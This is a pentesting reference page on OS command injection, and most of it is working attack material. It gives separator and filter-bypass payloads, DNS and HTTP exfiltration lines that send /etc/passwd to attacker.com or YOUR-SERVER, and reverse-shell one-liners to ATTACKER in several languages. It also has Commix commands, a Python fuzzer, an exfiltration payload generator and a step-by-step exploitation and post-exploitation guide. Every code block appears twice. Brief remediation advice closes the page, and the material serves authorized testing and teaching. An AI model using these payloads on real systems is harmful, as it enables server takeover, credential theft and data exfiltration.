Exploitation A03

OS Command Injection

Command injection occurs when user input is passed unsafely to system shell commands, leading to arbitrary command execution on the server.

Danger

Command injection is a critical vulnerability that can lead to complete system compromise.

🎯 Why Command Injection is Critical

Command injection (CWE-78) is consistently ranked as one of the most dangerous vulnerabilities because it provides direct access to the underlying operating system:

  • Immediate Code Execution: Unlike other vulnerabilities requiring chaining, command injection gives instant OS-level access. One vulnerable parameter = full server compromise.
  • Container Escape Potential: In containerized environments, command injection can be the first step to escaping to the host system or accessing secrets.
  • Persistence & Lateral Movement: Attackers can add SSH keys, create backdoor users, install rootkits, and pivot to other systems on the network.
  • Data Exfiltration: Direct access to databases, configuration files, environment variables with API keys and credentials.
  • Ransomware Deployment: Many ransomware attacks begin with command injection into web applications facing the internet.
  • Hidden in Legacy Code: Common in older applications using system calls for features like file conversion, image processing, or network tools.

Tools & Resources

Commix

Automated OS command injection exploitation tool

apt install commix GitHub →

Burp Collaborator

OOB interaction testing for blind injection

Burp Suite Pro

interactsh

Free OOB testing server (DNS, HTTP, SMTP)

go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest GitHub →

RevShells

Reverse shell generator for all languages

Web-based revshells.com →

PayloadsAllTheThings

Comprehensive command injection payloads

GitHub reference GitHub →

Netcat / ncat

Swiss army knife for TCP/UDP connections

apt install netcat-openbsd

Common Vulnerable Functions:

PHP

system(), exec(), shell_exec(), passthru(), popen(), proc_open()

Python

os.system(), subprocess.call(), subprocess.Popen(shell=True)

Node.js

child_process.exec(), child_process.spawn()

Command Separators

Command separators allow chaining multiple commands. The key is finding which separator works in your context.

text
# Unix/Linux Separators
;       # Sequential - runs regardless of previous command
|       # Pipe - passes output to next command
||      # OR - runs if previous command FAILS
&       # Background - runs in background
&&      # AND - runs if previous command SUCCEEDS
$(cmd)  # Command substitution - inline execution
`cmd`   # Backtick substitution (legacy)

# Newline as separator
%0a     # URL encoded newline
%0d%0a  # CRLF

# Windows Separators
&       # Sequential execution
&&      # AND - runs if previous succeeds
||      # OR - runs if previous fails  
|       # Pipe output
%0a     # Newline
# Unix/Linux Separators
;       # Sequential - runs regardless of previous command
|       # Pipe - passes output to next command
||      # OR - runs if previous command FAILS
&       # Background - runs in background
&&      # AND - runs if previous command SUCCEEDS
$(cmd)  # Command substitution - inline execution
`cmd`   # Backtick substitution (legacy)

# Newline as separator
%0a     # URL encoded newline
%0d%0a  # CRLF

# Windows Separators
&       # Sequential execution
&&      # AND - runs if previous succeeds
||      # OR - runs if previous fails  
|       # Pipe output
%0a     # Newline

Basic Payloads

# Semicolon separator
; id
; whoami
; cat /etc/passwd
; ls -la
; uname -a

# Pipe separator
| id
| cat /etc/passwd
| nc attacker.com 4444 -e /bin/bash

# Conditional execution
|| id              # Runs if previous fails
&& id             # Runs if previous succeeds

# Command substitution
$(id)
$(whoami)
$(cat /etc/passwd)
`id`              # Backticks

# Newline injection
%0aid
%0acat%20/etc/passwd

# Useful commands to run
id                # Current user
whoami            # Username
uname -a          # System info
cat /etc/passwd   # Users list
env               # Environment variables
ps aux            # Running processes
netstat -tulpn    # Network connections
find / -perm -4000 2>/dev/null  # SUID binaries
# Semicolon separator
; id
; whoami
; cat /etc/passwd
; ls -la
; uname -a

# Pipe separator
| id
| cat /etc/passwd
| nc attacker.com 4444 -e /bin/bash

# Conditional execution
|| id              # Runs if previous fails
&& id             # Runs if previous succeeds

# Command substitution
$(id)
$(whoami)
$(cat /etc/passwd)
`id`              # Backticks

# Newline injection
%0aid
%0acat%20/etc/passwd

# Useful commands to run
id                # Current user
whoami            # Username
uname -a          # System info
cat /etc/passwd   # Users list
env               # Environment variables
ps aux            # Running processes
netstat -tulpn    # Network connections
find / -perm -4000 2>/dev/null  # SUID binaries

Blind Command Injection

When there's no output in the response, use time delays or out-of-band channels to confirm execution.

Time-Based Detection

text
# Unix - sleep command
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
%0asleep%2010

# Windows - ping loopback (takes ~10 seconds)
& ping -n 10 127.0.0.1
& timeout /t 10
| ping -n 10 127.0.0.1

# Conditional time delay (useful for boolean-based)
; if [ $(whoami) = "root" ]; then sleep 10; fi
& if %username%==administrator ping -n 10 127.0.0.1
# Unix - sleep command
; sleep 10
| sleep 10
$(sleep 10)
`sleep 10`
%0asleep%2010

# Windows - ping loopback (takes ~10 seconds)
& ping -n 10 127.0.0.1
& timeout /t 10
| ping -n 10 127.0.0.1

# Conditional time delay (useful for boolean-based)
; if [ $(whoami) = "root" ]; then sleep 10; fi
& if %username%==administrator ping -n 10 127.0.0.1

Out-of-Band (OOB) Exfiltration

bash
# DNS exfiltration (works through firewalls)
; nslookup YOUR-SUBDOMAIN.burpcollaborator.net
; nslookup $(whoami).YOUR-SUBDOMAIN.oast.fun
; host $(whoami).YOUR-SUBDOMAIN.interactsh.com

# Exfiltrate data via DNS (base64 encode first)
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com

# HTTP callback
; curl http://YOUR-SERVER/$(whoami)
; wget http://YOUR-SERVER/?data=$(cat /etc/passwd | base64)

# Windows DNS exfiltration
& nslookup YOUR-SUBDOMAIN.burpcollaborator.net
& nslookup %username%.YOUR-SERVER.com
& powershell -c "Resolve-DnsName -Name $env:username.attacker.com"
# DNS exfiltration (works through firewalls)
; nslookup YOUR-SUBDOMAIN.burpcollaborator.net
; nslookup $(whoami).YOUR-SUBDOMAIN.oast.fun
; host $(whoami).YOUR-SUBDOMAIN.interactsh.com

# Exfiltrate data via DNS (base64 encode first)
; nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com

# HTTP callback
; curl http://YOUR-SERVER/$(whoami)
; wget http://YOUR-SERVER/?data=$(cat /etc/passwd | base64)

# Windows DNS exfiltration
& nslookup YOUR-SUBDOMAIN.burpcollaborator.net
& nslookup %username%.YOUR-SERVER.com
& powershell -c "Resolve-DnsName -Name $env:username.attacker.com"

Tip

Free OOB Services: Use interactsh.com for free OOB testing, or oast.fun. Burp Collaborator requires Pro license.

Filter Bypass Techniques

Space Bypass

bash
# Using $IFS (Internal Field Separator)
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
ls$IFS-la

# Using tab character
cat%09/etc/passwd
cat\t/etc/passwd

# Using brace expansion
{cat,/etc/passwd}
{ls,-la}

# Input redirection
cat</etc/passwd
cat<>/etc/passwd

# Windows
type%09C:\Windows\win.ini
dir;C:\
# Using $IFS (Internal Field Separator)
cat$IFS/etc/passwd
cat$IFS$9/etc/passwd
ls$IFS-la

# Using tab character
cat%09/etc/passwd
cat\t/etc/passwd

# Using brace expansion
{cat,/etc/passwd}
{ls,-la}

# Input redirection
cat</etc/passwd
cat<>/etc/passwd

# Windows
type%09C:\Windows\win.ini
dir;C:\

Keyword/Command Bypass

bash
# String concatenation (quotes)
c'a't /etc/passwd
c"a"t /etc/passwd
wh'oa'mi
wh"oa"mi

# Backslash insertion
ca\t /etc/passwd
who\ami

# Variable insertion
c$()at /etc/passwd
ca$@t /etc/passwd

# Hex encoding
$(printf '\x63\x61\x74') /etc/passwd  # cat

# Base64 execution
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo d2hvYW1p | base64 -d | sh

# Environment variables
$SHELL -c 'cat /etc/passwd'
/???/??t /etc/passwd   # Wildcards for /bin/cat
# String concatenation (quotes)
c'a't /etc/passwd
c"a"t /etc/passwd
wh'oa'mi
wh"oa"mi

# Backslash insertion
ca\t /etc/passwd
who\ami

# Variable insertion
c$()at /etc/passwd
ca$@t /etc/passwd

# Hex encoding
$(printf '\x63\x61\x74') /etc/passwd  # cat

# Base64 execution
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo d2hvYW1p | base64 -d | sh

# Environment variables
$SHELL -c 'cat /etc/passwd'
/???/??t /etc/passwd   # Wildcards for /bin/cat

Blacklist Bypass

bash
# If 'cat' is blocked
tac /etc/passwd      # Reverse cat
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
nl /etc/passwd       # Line numbers
sort /etc/passwd
uniq /etc/passwd
awk '{print}' /etc/passwd
sed '' /etc/passwd
grep . /etc/passwd

# If 'ls' is blocked
dir                  # Directory listing
find . -maxdepth 1
echo *
printf '%s\n' *

# If '/' is blocked
${HOME:0:1}etc${HOME:0:1}passwd  # Bash substring
# If 'cat' is blocked
tac /etc/passwd      # Reverse cat
head /etc/passwd
tail /etc/passwd
more /etc/passwd
less /etc/passwd
nl /etc/passwd       # Line numbers
sort /etc/passwd
uniq /etc/passwd
awk '{print}' /etc/passwd
sed '' /etc/passwd
grep . /etc/passwd

# If 'ls' is blocked
dir                  # Directory listing
find . -maxdepth 1
echo *
printf '%s\n' *

# If '/' is blocked
${HOME:0:1}etc${HOME:0:1}passwd  # Bash substring

Reverse Shells

Once you confirm command injection, upgrade to a reverse shell for interactive access:

bash
# Bash TCP
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Netcat variants
nc -e /bin/bash ATTACKER 4444
nc -c bash ATTACKER 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"
# Bash TCP
bash -i >& /dev/tcp/ATTACKER/4444 0>&1
bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'

# Netcat variants
nc -e /bin/bash ATTACKER 4444
nc -c bash ATTACKER 4444
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER 4444 >/tmp/f

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# PHP
php -r '$s=fsockopen("ATTACKER",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

# Perl
perl -e 'use Socket;$i="ATTACKER";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'

# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length)}"

Tip

URL Encode: When injecting through URLs, encode special characters. Use %26 for &, %3b for ;, %7c for |.

Commix Automation

bash
# Basic scan
commix -u "http://target.com/page?param=test"

# POST request
commix -u "http://target.com/page" --data="param=test"

# With cookies/authentication
commix -u "http://target.com/page?param=test" --cookie="session=abc123"

# Specify technique
commix -u "http://target.com/page?param=test" --technique=t  # Time-based
commix -u "http://target.com/page?param=test" --technique=f  # File-based

# OS shell
commix -u "http://target.com/page?param=test" --os-shell

# Skip prompts
commix -u "http://target.com/page?param=test" --batch
# Basic scan
commix -u "http://target.com/page?param=test"

# POST request
commix -u "http://target.com/page" --data="param=test"

# With cookies/authentication
commix -u "http://target.com/page?param=test" --cookie="session=abc123"

# Specify technique
commix -u "http://target.com/page?param=test" --technique=t  # Time-based
commix -u "http://target.com/page?param=test" --technique=f  # File-based

# OS shell
commix -u "http://target.com/page?param=test" --os-shell

# Skip prompts
commix -u "http://target.com/page?param=test" --batch

Python Automation

Command Injection Fuzzer

python
#!/usr/bin/env python3
"""
Command Injection Fuzzer
Tests multiple separators and payloads against a target parameter
"""
import requests
import sys
import time
from urllib.parse import quote

# Payload templates - use .format(cmd=...) to substitute command
PAYLOADS = [
    # Unix separators
    "; {0}",
    "| {0}",
    "|| {0}",
    "& {0}",
    "&& {0}",
    "\n{0}",
    "$({0})",
    "\`{0}\`",
    
    # URL encoded variants
    "%3b {0}",           # ;
    "%7c {0}",           # |
    "%26 {0}",           # &
    "%0a{0}",            # newline
    
    # Windows
    "& {0}",
    "| {0}",
    "%0d%0a{0}",         # CRLF
]

def test_injection(url, param, method='GET', cookies=None):
    """Test for command injection vulnerabilities"""
    print(f"[*] Testing {url} parameter: {param}")
    print(f"[*] Method: {method}")
    
    # Time-based detection command
    sleep_cmd = "sleep 5" if method == 'GET' else "ping -c 5 127.0.0.1"
    
    for payload_template in PAYLOADS:
        payload = payload_template.format(sleep_cmd)
        
        try:
            start_time = time.time()
            
            if method == 'GET':
                response = requests.get(
                    url, 
                    params={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            else:
                response = requests.post(
                    url,
                    data={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            
            elapsed = time.time() - start_time
            
            # Check for time-based response (5+ second delay indicates success)
            if elapsed >= 4.5:
                print(f"[+] VULNERABLE! Payload: {repr(payload)}")
                print(f"    Response time: {elapsed:.2f}s")
                return payload_template
                
        except requests.exceptions.Timeout:
            print(f"[+] VULNERABLE (timeout)! Payload: {repr(payload)}")
            return payload_template
        except Exception as e:
            print(f"[-] Error with payload {repr(payload)}: {e}")
    
    print("[-] No time-based injection found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <url> <param> [method]")
        print(f"Example: {sys.argv[0]} 'http://target.com/ping' 'ip' POST")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
    
    test_injection(url, param, method.upper())
#!/usr/bin/env python3
"""
Command Injection Fuzzer
Tests multiple separators and payloads against a target parameter
"""
import requests
import sys
import time
from urllib.parse import quote

# Payload templates - use .format(cmd=...) to substitute command
PAYLOADS = [
    # Unix separators
    "; {0}",
    "| {0}",
    "|| {0}",
    "& {0}",
    "&& {0}",
    "\n{0}",
    "$({0})",
    "\`{0}\`",
    
    # URL encoded variants
    "%3b {0}",           # ;
    "%7c {0}",           # |
    "%26 {0}",           # &
    "%0a{0}",            # newline
    
    # Windows
    "& {0}",
    "| {0}",
    "%0d%0a{0}",         # CRLF
]

def test_injection(url, param, method='GET', cookies=None):
    """Test for command injection vulnerabilities"""
    print(f"[*] Testing {url} parameter: {param}")
    print(f"[*] Method: {method}")
    
    # Time-based detection command
    sleep_cmd = "sleep 5" if method == 'GET' else "ping -c 5 127.0.0.1"
    
    for payload_template in PAYLOADS:
        payload = payload_template.format(sleep_cmd)
        
        try:
            start_time = time.time()
            
            if method == 'GET':
                response = requests.get(
                    url, 
                    params={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            else:
                response = requests.post(
                    url,
                    data={param: f"test{payload}"},
                    cookies=cookies,
                    timeout=15
                )
            
            elapsed = time.time() - start_time
            
            # Check for time-based response (5+ second delay indicates success)
            if elapsed >= 4.5:
                print(f"[+] VULNERABLE! Payload: {repr(payload)}")
                print(f"    Response time: {elapsed:.2f}s")
                return payload_template
                
        except requests.exceptions.Timeout:
            print(f"[+] VULNERABLE (timeout)! Payload: {repr(payload)}")
            return payload_template
        except Exception as e:
            print(f"[-] Error with payload {repr(payload)}: {e}")
    
    print("[-] No time-based injection found")
    return None

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <url> <param> [method]")
        print(f"Example: {sys.argv[0]} 'http://target.com/ping' 'ip' POST")
        sys.exit(1)
    
    url = sys.argv[1]
    param = sys.argv[2]
    method = sys.argv[3] if len(sys.argv) > 3 else 'GET'
    
    test_injection(url, param, method.upper())

OOB Exfiltration Script

python
#!/usr/bin/env python3
"""
Generate OOB exfiltration payloads for command injection
Exfiltrates data via DNS to interactsh/Burp Collaborator
"""
import base64
import sys

def generate_oob_payloads(collaborator_domain, data_command):
    """Generate OOB exfiltration payloads"""
    
    payloads = [
        ("DNS (Unix)", f"nslookup $({data_command} | base64 | head -c 60).{collaborator_domain}"),
        ("DNS (backticks)", f"nslookup \`{data_command} | base64 | head -c 60\`.{collaborator_domain}"),
        ("DNS (Windows)", f"nslookup %username%.{collaborator_domain}"),
        ("HTTP (curl)", f"curl http://{collaborator_domain}/?d=$({data_command} | base64)"),
        ("HTTP (wget)", f"wget http://{collaborator_domain}/?d=$({data_command} | base64)"),
    ]
    
    print(f"[*] OOB Payloads for: {collaborator_domain}")
    print(f"[*] Data command: {data_command}")
    print("-" * 60)
    
    for name, payload in payloads:
        print(f"\n{name}:")
        print(f"  {payload}")
    
    # Separator variants
    print("\n" + "=" * 60)
    print("[*] With separators (prepend to your input):")
    separators = ["; ", "| ", "|| ", "&& ", "\n", "%0a"]
    
    for sep in separators:
        print(f"  {sep}{payloads[0][1]}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <collaborator_domain> [command]")
        print(f"Example: {sys.argv[0]} abc123.oast.fun whoami")
        sys.exit(1)
    
    domain = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami"
    
    generate_oob_payloads(domain, cmd)
#!/usr/bin/env python3
"""
Generate OOB exfiltration payloads for command injection
Exfiltrates data via DNS to interactsh/Burp Collaborator
"""
import base64
import sys

def generate_oob_payloads(collaborator_domain, data_command):
    """Generate OOB exfiltration payloads"""
    
    payloads = [
        ("DNS (Unix)", f"nslookup $({data_command} | base64 | head -c 60).{collaborator_domain}"),
        ("DNS (backticks)", f"nslookup \`{data_command} | base64 | head -c 60\`.{collaborator_domain}"),
        ("DNS (Windows)", f"nslookup %username%.{collaborator_domain}"),
        ("HTTP (curl)", f"curl http://{collaborator_domain}/?d=$({data_command} | base64)"),
        ("HTTP (wget)", f"wget http://{collaborator_domain}/?d=$({data_command} | base64)"),
    ]
    
    print(f"[*] OOB Payloads for: {collaborator_domain}")
    print(f"[*] Data command: {data_command}")
    print("-" * 60)
    
    for name, payload in payloads:
        print(f"\n{name}:")
        print(f"  {payload}")
    
    # Separator variants
    print("\n" + "=" * 60)
    print("[*] With separators (prepend to your input):")
    separators = ["; ", "| ", "|| ", "&& ", "\n", "%0a"]
    
    for sep in separators:
        print(f"  {sep}{payloads[0][1]}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <collaborator_domain> [command]")
        print(f"Example: {sys.argv[0]} abc123.oast.fun whoami")
        sys.exit(1)
    
    domain = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami"
    
    generate_oob_payloads(domain, cmd)

Command Injection Testing Checklist

🔍 Discovery Phase

  • ☐ Identify parameters that interact with OS (ping, dns, file ops)
  • ☐ Look for filename/path parameters
  • ☐ Check PDF generators, image processors
  • ☐ Test email functionality (mail command)
  • ☐ Examine backup/export features
  • ☐ Test diagnostic/health check endpoints

⚡ Separator Testing

  • ☐ Test semicolon (;) separator
  • ☐ Test pipe (|) separator
  • ☐ Test ampersand (&, &&) separator
  • ☐ Test newline (%0a, %0d%0a)
  • ☐ Test command substitution ($(), ``)
  • ☐ Test URL-encoded variants

🕐 Blind Detection

  • ☐ Time-based: sleep 10 / ping -c 10
  • ☐ OOB via DNS (nslookup, host)
  • ☐ OOB via HTTP (curl, wget)
  • ☐ File write then access
  • ☐ Conditional time delays
  • ☐ Error-based inference

🔓 Filter Bypass

  • ☐ Space bypass ($IFS, %09, {cmd})
  • ☐ Quote insertion (c'a't, c"a"t)
  • ☐ Backslash insertion (ca\\t)
  • ☐ Variable substitution ($@)
  • ☐ Base64 encode + decode
  • ☐ Hex encoding (\\x63\\x61\\x74)

How to Exploit Command Injection

Step-by-Step Exploitation

  1. Identify Injection Point: Find parameters that seem to interact with OS commands (ping tool, file viewer, DNS lookup, etc.)
  2. Confirm Injection: Try simple separators with benign commands. If no output visible, use time-based payloads: ; sleep 10
  3. Determine OS: Based on response or timing, determine if target is Unix or Windows. Try ; uname -a or & ver
  4. Enumerate System: Run discovery commands: id, whoami, env, cat /etc/passwd
  5. Exfiltrate Data: For blind injection, use OOB via DNS: ; nslookup $(whoami).your-collaborator.com
  6. Establish Shell: Get interactive access. Set up listener: nc -lvnp 4444. Send reverse shell payload.
  7. Post-Exploitation: Upgrade to PTY shell, enumerate further, look for credentials, pivot to other systems.

⚠️ Pro Tip: If spaces are filtered, use $IFS (Internal Field Separator) in Unix: cat$IFS/etc/passwd or brace expansion: {cat,/etc/passwd}

Practice Labs

External Resources

Evidence Collection

Command Output: Burp capture showing injected command and system output (whoami, id, hostname)

OOB Callback: Burp Collaborator/webhook log proving blind command injection (DNS lookup or HTTP callback)

Time-Based Proof: Response time comparison showing delay-based injection (sleep 5 causing 5s delay)

File Read Proof: Content of /etc/passwd or similar system file read via injection

CVSS Range: Direct command execution: 9.1–9.8 (Critical) | Blind/OOB: 8.6–9.1 | Filtered injection: 7.5–8.6

Remediation

  • Avoid system commands entirely: Use language-native libraries instead of shell commands (e.g., Python's ipaddress instead of calling ping).
  • Use parameterized APIs: If shell execution is necessary, use APIs with argument arrays (e.g., Python's subprocess.run(["cmd", "arg1"]) instead of os.system()).
  • Input validation: Allowlist expected input patterns (e.g., IP address regex) and reject everything else.
  • Escape shell metacharacters: Use shlex.quote() (Python), escapeshellarg() (PHP), or equivalent for the language.
  • Least privilege: Run the application with minimal OS permissions — even successful injection should yield limited access.
  • Container isolation: Run in containers with read-only filesystem and no-new-privileges to limit post-exploitation impact.

False Positive Identification

  • Error message ≠ execution: Seeing a bash syntax error in the response proves input reaches a shell, but doesn't confirm command execution — use whoami or OOB callbacks for proof.
  • Time-based variance: Network latency can cause timing differences — test with multiple delay values (sleep 2, sleep 5, sleep 10) and compare response times.
  • WAF blocking injection: A 403 response means the WAF caught the payload, not that the app is safe — try encoding and WAF bypass techniques.
  • Container-escaped output: In containerized environments, commands may succeed but show container info rather than host — note the execution context in your report.